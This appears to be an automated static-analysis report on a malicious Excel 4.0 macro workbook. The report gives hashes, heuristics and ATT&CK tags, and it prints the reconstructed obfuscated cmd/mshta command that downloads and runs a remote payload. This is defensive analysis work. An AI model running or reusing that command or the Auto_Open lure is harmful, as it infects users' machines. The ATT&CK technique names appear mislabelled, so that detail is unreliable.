Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 ab13e90ba67eb211…

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: aa86704dcb00b6c08841d779b9e1c929 SHA-1: 1f99a7ff292d8c5478256407d6866721f6e2deee SHA-256: ab13e90ba67eb211dad9d0729e00137b87d03a6c3fa3f784c9b9cfa0b0ca6ff9
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link: Malicious File

The sample is an Excel 4.0 macro sheet that uses an Auto_Open defined name to execute a command. The document body contains a lure to enable editing and content. The script reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which indicates it will download and execute a payload from the specified URL. This behavior is consistent with a macro-based downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes